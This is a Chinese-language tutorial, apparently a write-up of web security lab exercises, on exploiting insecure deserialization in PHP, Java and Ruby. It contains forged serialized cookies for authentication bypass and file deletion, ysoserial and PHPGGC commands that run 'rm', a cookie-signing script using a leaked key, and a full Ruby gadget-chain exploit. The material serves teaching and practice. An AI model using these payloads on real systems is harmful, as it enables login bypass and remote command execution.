常見的反序列化攻擊手法

不安全的反序列化問題介紹可參考https://systw.net/note/archives/112


修改資料類型

有些代碼會執行鬆散比較,這在資料類型上會產生一些問題

例如在PHP中,0==”password”的判斷中會返回true,因為字串中沒有任何數字所以為0。因此在以下代碼中,如果$login[‘password’]等於0,$password又是字串,比較後就會返回TRUE

$login = unserialize($_COOKIE)
if ($login['password'] == $password) {
// log in successfully
}

假如網站有上述的弱點,可參考以下方式做認證的饒過。分析請求如下

GET /
...omit...
Cookie: session=Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiI3ZWVGVElIT1FHN2RHQW9sbk85ZTcwWGNmeGlTVW1QRCI7fQ%3d%3d

將cookie用base64解碼後得到如下

O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"7eeFTIHOQG7dGAolnO9e70XcfxiSUmPD";}

為了要偽造成administrator,要把access_token指定為0,這樣才可以讓PHP判斷時返回True,饒過登入機制.因此要把序列化資料修改如下

O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";i:0;}

在用base64編碼後取代請求內的cookie後送出

GET /
...omit...
Cookie: session=Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjEzOiJhZG1pbmlzdHJhdG9yIjtzOjEyOiJhY2Nlc3NfdG9rZW4iO2k6MDt9==

當服務器收到此請求會判定為administrator

Lab: Modifying serialized data types


修改指定參數

正常刪除帳號的請求如下

POST /my-account/delete
...omit...
Cookie: session=Tzo0OiJVc2VyIjozOntzOjg6InVzZXJuYW1lIjtzOjU6ImdyZWdnIjtzOjEyOiJhY2Nlc3NfdG9rZW4iO3M6MzI6IjVIWUV2QjdFVnE5NTJmeFBjWXFPUko3SEVHNEIxQk9hIjtzOjExOiJhdmF0YXJfbGluayI7czoxODoidXNlcnMvZ3JlZ2cvYXZhdGFyIjt9

將cookie透過base64解碼後如下

Cookie: session=O:4:"User":3:{s:8:"username";s:5:"gregg";s:12:"access_token";s:32:"5HYEvB7EVq952fxPcYqORJ7HEG4B1BOa";s:11:"avatar_link";s:18:"users/gregg/avatar";}

如果想要刪除/home/carlos/morale.txt,只要把這段序列化資料改為如下即可

Cookie: session=O:4:"User":3:{s:8:"username";s:5:"gregg";s:12:"access_token";s:32:"5HYEvB7EVq952fxPcYqORJ7HEG4B1BOa";s:11:"avatar_link";s:23:"/home/carlos/morale.txt";}

在把他用base64編碼送出請求,即可刪除指定檔案

POST /my-account/delete HTTP/1.1
...omit...
Cookie: session=Tzo0OiJVc2VyIjozOntzOjg6InVzZXJuYW1lIjtzOjU6ImdyZWdnIjtzOjEyOiJhY2Nlc3NfdG9rZW4iO3M6MzI6IjVIWUV2QjdFVnE5NTJmeFBjWXFPUko3SEVHNEIxQk9hIjtzOjExOiJhdmF0YXJfbGluayI7czoyMzoiL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO30N

lab:Using application functionality to exploit insecure deserialization


利用魔術函数

Magic methods是您不必明確呼叫的方法的特殊子集。相反,每當特定事件或場景發生時,它們就會自動呼叫。Magic methods是各種語言中物件導向程式設計的共同特徵。它們有時會在方法名稱前加上雙下劃線或將其括起來來表示。PHP 中最常見的範例之一是__construct()

Magic methods被廣泛使用,當它們執行的程式碼處理攻擊者可控的資料(例如來自反序列化物件的資料)時,它們可能會變得危險

某些語言具有在反序列化過程中 自動呼叫的Magic methods。例如,PHP 的unserialize()方法會尋找並呼叫物件的__wakeup()魔術方法

如果攻擊者可以存取原始程式碼,他們就可以詳細研究所有可用的類別。為了建構一個簡單的漏洞利用,他們會尋找包含反序列化魔術方法的類,然後檢查它們是否對可控資料執行危險操作。然後,攻擊者可以傳入此類的序列化對象,以使用其Magic methods進行攻擊。

舉例如下,在該目標發現/libs/CustomTemplate.php~,文件尾附加~表示該文件的備份,因此可直接看到源碼。

...omit...
cloass CustomTemplate{
        private $template_file_path;
        private $lock_file_path;

        public function __construct($template_file_path) 
        {
           $this->template_file_path = $template_file_path;
           $this->lock_file_path = $template_file_path . ".lock";
        }
...omit...
function __destruct() 
{
        // Carlos thought this would be a good idea
        if (file_exists($this->lock_file_path)) 
        {
            unlink($this->lock_file_path);
        }
}
...omit...

該原碼內的 CustomTemplate 類別包含 __destruct() 魔術方法。這將呼叫 lock_file_path 屬性上的 unlink() 方法,該方法將刪除該路徑上的檔案。

使用serialized PHP data的正確語法來建立 CustomTemplate 對象,並將 lock_file_path 屬性設為要刪除的檔案,例如 /home/carlos/morale.txt,並確保使用正確的資料類型標籤和長度指示符。完成後會如下

O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}

將以上用base64編碼後送出請求如下

GET / HTTP/1.1
...omit...
Cookie: session=TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjE6e3M6MTQ6ImxvY2tfZmlsZV9wYXRoIjtzOjIzOiIvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dCI7fQ%3d%3d

服務器收到後就會刪除指定的檔案

lab:Arbitrary object injection in PHP


利用Gadget chains

Gadget chains是利用Magic methods類別發起更複雜的攻擊,可以幫助攻擊者實現特定目標。有幾種可用的工具可以提供一系列已在其他網站上成功利用的預先發現的鏈。即使您無法存取原始程式碼,您也可以使用這些工具輕鬆識別和利用不安全的反序列化漏洞。


JAVA

如果可以在一個網站上利用 Java 的 Apache Commons Collections 庫中的小工具鏈,則也可以使用同一鏈來利用實作該程式庫的任何其他網站,JAVA常見的小工具為ysoserial。除此之外,還有像是URLDNS與JRMPClient等方法可協助快速偵測伺服器上的反序列化安全問題。

舉例如下,透過java反序列問題執行rm /home/carlos/morale.txt,可執行以下命令產生一個Base64序列的編碼

#jave 15 and below
java -jar ysoserial.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64

#jave 16 and above
java -jar ysoserial.jar \
   --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
   --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
   --add-opens=java.base/java.net=ALL-UNNAMED \
   --add-opens=java.base/java.util=ALL-UNNAMED \
   CommonsCollections4 'rm /home/carlos/morale.txt' | base64

接著在這段編碼透過urlencode編碼,取代請求中的cookie送出,服務器收到後就會刪除指定的檔案

Lab: Exploiting Java deserialization with Apache Commons


PHP

對於基於 PHP 的網站,可以使用PHPGGC

舉例如下,對一目標的請求進行分析如下

GET / HTTP/1.1
...omit...
Cookie: session=%7B%22token%22%3A%22Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJUVXJ5YnpUM3U3WHFNY1FTY2ZoTGhTbUp6NHZqTUxJNSI7fQ%3D%3D%22%2C%22sig_hmac_sha1%22%3A%2222d081efd16e59efd8ffa0386ca5926e1906ba5d%22%7D

urlencode解碼cookie可以看到到以內容,其中發現簽名機制sig_hmac_sha1,這表示直接修改請求沒用。

Cookie: session={"token":"Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJUVXJ5YnpUM3U3WHFNY1FTY2ZoTGhTbUp6NHZqTUxJNSI7fQ==","sig_hmac_sha1":"22d081efd16e59efd8ffa0386ca5926e1906ba5d"}

base64解碼token可看到以下內容,這裡包含序列化資料

"token":"O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"TUrybzT3u7XqMcQScfhLhSmJz4vjMLI5";}"

另外,請求後的返回內容如下,包含phpinfo.php的位置

...omit...
<!-- <a href=/cgi-bin/phpinfo.php>Debug</a> -->
...omit...

訪問phpinfo.php後分析發現SECRET_KEY:g1pu6opsaxp9avqyh8hi1vtnzmvr9u47,因此可以用此來處理簽名機制sig_hmac_sha1

透過php反序列問題執行rm /home/carlos/morale.txt,可執行phpggc命令產生一個Base64序列的編碼

#phpggc Symfony/RCE4 exec 'rm /home/carlos/morale.txt' | base64
Tzo0NzoiU3ltZm9ueVxDb2...omit...

由於目標有簽名機制防修改請求,因此剛剛產生的編碼還必須在透過簽名,因此準備以下代碼做簽名

<?php
$secretKey='g1pu6opsaxp9avqyh8hi1vtnzmvr9u47';
$object='Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg==';
$payload = urlencode('{"token":"'.$object.'","sig_hmac_sha1":"' . hash_hmac('sha1', $object, $secretKey) . '"}');
echo 'Cookie: session='.$payload;
?>

將執行後產生的cookie放入請求送出,如下

GET / HTTP/1.1
...omit...
Cookie: session=%7B%22token%22%3A%22Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg%3D%3D%22%2C%22sig_hmac_sha1%22%3A%221b4aecfae95e20734a7f7418e9b4ef425ab224d7%22%7D

服務器收到後就會刪除指定的檔案

Lab: Exploiting PHP deserialization with a pre-built gadget chain


ruby

上網尋找Universal Deserialisation Gadget for Ruby 2.x-3.x,可發現攻擊代碼,將id取代為要執行的動作,例如rm /home/carlos/morale.txt,修改後如下

#!/usr/bin/env ruby

class Gem::StubSpecification
  def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "| rm /home/carlos/morale.txt 1>&2")

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
  def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
  def marshal_dump
    [$dependency_list]
  end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
  pipe.print payload
  pipe.close_write
  puts pipe.gets
  puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

執行上述ruby代碼後會產生base64序列化資料,編碼urlencode取代請求中的cookie送出,服務器收到後就會刪除指定的檔案

Lab: Exploiting Ruby deserialization using a documented gadget chain